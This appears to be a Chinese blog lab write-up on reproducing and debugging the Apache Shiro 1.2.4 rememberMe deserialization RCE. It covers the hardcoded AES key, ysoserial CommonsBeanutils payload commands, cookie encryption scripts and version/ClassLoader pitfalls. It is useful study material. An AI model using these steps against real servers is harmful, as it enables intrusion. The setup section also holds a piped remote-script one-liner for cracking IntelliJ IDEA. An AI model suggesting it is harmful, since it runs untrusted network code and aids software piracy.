目录
环境搭建
vulhub 快速复现
先用 vulhub 把环境跑起来,工具直接一把梭爆破确认漏洞存在:
1 | git clone https://github.com/vulhub/vulhub.git |
访问 http://your-ip:8080

用工具爆破一下:

找到利用链,命令执行成功:

shiro-root-1.2.4 源码调试环境
想深入分析的话光靠 vulhub 不够,还是得把源码环境搭起来方便打断点。
拉源码切版本
1 | git clone https://github.com/apache/shiro.git |
IDEA 全家桶破解
1 | 命令:irm ckey.run/debug | iex |
配置 Tomcat 启动项目
配置 Tomcat 启动项:

Tomcat 本地(免费版没有这个功能):

Tomcat 下载地址:https://tomcat.apache.org/download-90.cgi

解压后配置刚刚的源码路径:

配置工件:

这里顺便说一下 war 和 war exploded 的区别:
- war —— 把整个项目打包成一个
.war文件再部署,每次改代码都要重新打包,慢 - war exploded —— 直接用解压后的目录结构部署,改了 JSP/class 文件可以热更新,不用重启,调试方便
所以调试的时候选 war exploded 就行了。
解决源码构建的坑
这个版本搭建还是挺麻烦的,有几个问题需要处理。
换阿里云源解决 SSL 连接问题,编辑 C:\Users\t\.m2\settings.xml:
1 | <settings> |
原项目需要 JDK 1.6,这里用 toolchains 把目标强制指向 8u65,编辑 C:\Users\t\.m2\toolchains.xml:
1 |
|
改环境变量:
1 | $env:JAVA_HOME = "E:\Java8u65\jdk1.8.0_65" |
Maven 安装命令:
1 | mvn install "-DskipTests" "-pl" "core,web,samples/web" "-am" |
没有报错后启动 Tomcat,访问:
1 | http://localhost:8080/samples_web_war_exploded/login.jsp |

成功启动了。
抓包观察 RememberMe Cookie
用 Burp 抓包,对比勾选和不勾选 Remember Me 的请求。
勾选 Remember Me:

没有勾选:

区别在于发包时有没有 rememberMe=on 参数(Cookie 里的值才是重点)。
看响应包的 Set-Cookie:
勾选的(第一个包):
- 先发一个
rememberMe=deleteMe(清除旧 cookie) - 再发一个有效期 1 年的长串 Base64 → 这就是加密后的序列化数据
没勾选的(第二个包):
- 只有
rememberMe=deleteMe,什么都没写入
把第一个包的 rememberMe 值拿来解码分析一下,用 Python:
1 | import base64 |

输出:
1 | 总长度: 384 字节 |
结构一目了然:
1 | [ 前16字节 IV ] + [ 后368字节 AES-CBC 加密的序列化数据 ] |
IV 是每次随机生成的,所以每次登录 cookie 都不一样。
源码调试分析
Cookie 获取流程
在 AbstractRememberMeManager.java 打两个断点:
断点1: getRememberedPrincipals

断点2: deserialize

勾选 Remember Me 登录,先来到 getRememberedPrincipals:

然后进入了 getRememberedSerializedIdentity 进行 Base64 的 cookie 获取:

上面这部分大概就是判断是不是 HTTP 请求,是否已经执行过 logout:

接下来就是从 HTTP 请求里读取 rememberMe cookie 的值,如果值是 deleteMe 就忽略,这是之前已经标记删除的 cookie:

ensurePadding 是处理 Base64 末尾 = 号补齐的问题,然后直接 Base64 解码返回字节数组:

base64 正是我们传入的 Cookie: rememberMe= 的值:

经过 Base64 decode 解码变成了字节返回 decoded:

然后继续到了 getRememberedPrincipals 的 convertBytesToPrincipals 方法,传入了刚刚的字节数据:

convertBytesToPrincipals 方法非常简单,就两步:
1 | bytes = decrypt(bytes); |

反序列化触发点
deserialize(bytes) 直接反序列化,没有任何校验,这就是漏洞的根本原因。
进入 deserialize 函数:

直接进入 deserialize 看到的是接口,需要从 getSerializer() 里开始找。最后找到了 DefaultSerializer 里面有 deserialize 方法,里面实现了 readObject:

因此 deserialize 只是个壳,里面还是 readObject。
ObjectInputStream.readObject() 就是 Java 反序列化的触发点,CB 链的 PriorityQueue.readObject() 就是从这里开始的。
解密逻辑
decrypt 是一个对字节数据的解密方法:

重点是 getDecryptionCipherKey(),key 是怎么来的:

getter 直接返回 decryptionCipherKey 的值。找到一个 setter 赋值:

找到是被 setCipherKey 调用赋值的是 cipherKey:

硬编码 Key 的问题
继续往上找到 AbstractRememberMeManager 构造方法,DEFAULT_CIPHER_KEY_BYTES 是硬编码:

最后找到了 DEFAULT_CIPHER_KEY_BYTES 就是硬编码的默认 key:

在构造方法里也能看到:
1 | this.cipherService = new AesCipherService(); |
用的是 AES 加密,CBC 模式是 AesCipherService 的默认模式。源码:
1 | public AesCipherService() { |
JcaCipherService 的 generateInitializationVector,IV 是随机生成的:

JcaCipherService 的 decrypt 解密逻辑:

1 | int ivByteSize = ivSize / BITS_PER_BYTE; // 128/8 = 16字节 |
Shiro 加密时把 IV + 密文 拼在一起存进 cookie,解密时再按这个格式拆开,这就是我们之前 Python 脚本里 data[:16] 取 IV 的依据。
加密结构梳理
整个流程捋一遍:
1 | cookie → Base64解码 → 前16字节=IV,后续=密文 → AES-CBC解密(默认key) → deserialize() 直接反序列化 → RCE |
漏洞的核心就两点:
- Key 硬编码(
kPH+bIxk5D2deZiIxcaaaA==),攻击者可以用相同的 key 加密恶意 payload - 反序列化没有任何校验,解密完直接丢给
readObject()
漏洞利用
第一步:用 ysoserial 生成序列化 payload
1 | java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > payload.ser |
用 CB1 链,命令是弹计算器验证 RCE。
第二步:用 Python 加密后发包
1 | import base64 |
第三步:把生成的 cookie 塞进请求
在 Burp Repeater 里把生成的值替换 rememberMe 的值发包。
但是并没有正常弹出计算器,看报错信息:
1 | Caused by: java.io.InvalidClassException: |
踩坑一:版本不匹配
版本不匹配,ysoserial 生成 CB1 链时用的是 commons-beanutils 1.9.2,但 Shiro 1.2.4 自带的是 1.8.3,两个版本的 BeanComparator serialVersionUID 不一样,反序列化时就报错了。
serialVersionUID是 Java 序列化机制用来验证类版本一致性的标识符,序列化时写进流里,反序列化时拿出来和本地类对比,不一样就直接报InvalidClassException。
ysoserial 好像没有 1.8.3 的链,有两个解决方案:
方案一:改 Shiro 的依赖版本(最简单)
在 samples/web/pom.xml 加上强制覆盖版本:
1 | <dependency> |
让 Shiro 用 1.9.2,和 ysoserial 生成的 payload 版本一致,重新 mvn install 部署。
方案二:Python 直接修改 serialVersionUID
用 Python 把 payload.ser 里的 serialVersionUID 从 1.9.2 的值替换成 1.8.3 的值:
1 | import struct |
然后用 payload_183.ser 重新加密发包。
踩坑二:ClassLoader 问题
换了方案还是不行,又报错了:
1 | 2026-04-07 14:18:16,889 TRACE [org.apache.shiro.util.ClassUtils]: |
这次是 ClassLoader 问题。CB 链依赖了 commons-collections,但 Shiro 的 WebappClassLoader 找不到它。
Shiro 重写了 ClassResolvingObjectInputStream.resolveClass():
1 | // 源码在 core/src/main/java/org/apache/shiro/io/ClassResolvingObjectInputStream.java |
ClassUtils.forName() 用的是 Shiro 自己的类加载器,而不是 JDK 默认的 AppClassLoader,导致即使 war 包里有 commons-collections,也可能加载不到 CC 链里的某些类。
所以需要 NOCC 版本 —— 不依赖 Commons Collections 的 CB 链。
换了这个工具:https://github.com/Y4er/ysoserial/releases
1 | java -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils183NOCC "calc.exe" > payload.ser |
最终打通
这次成功弹出了计算器:

完整利用链:
1 | ysoserial 生成 CB183NOCC payload |
总结
漏洞根本原因:
- Shiro 1.2.4 的 rememberMe 功能用 AES-CBC 加密序列化数据存 cookie,但 key 是硬编码的默认值
kPH+bIxk5D2deZiIxcaaaA==,任何人都能用这个 key 加密自己的 payload - 解密后直接调用
ObjectInputStream.readObject()反序列化,没有任何类白名单校验,一把进 RCE
打 Shiro 的链选择优先级:
- CB183NOCC —— 只依赖 JDK 自带类,不受 Shiro ClassLoader 限制,最稳
- CB1 —— 需要 commons-beanutils 1.9.2 且版本匹配,需要额外处理
- CC 链 —— 受 ClassLoader 限制,不稳定,不推荐
实际渗透时,工具(ShiroAttack2、shirogui 等)基本上是自动爆破 key 然后挂链,原理就是这样。理解了加密结构之后,自己手动复现一遍还是挺有意思的,踩的坑也都是实际打时会遇到的问题。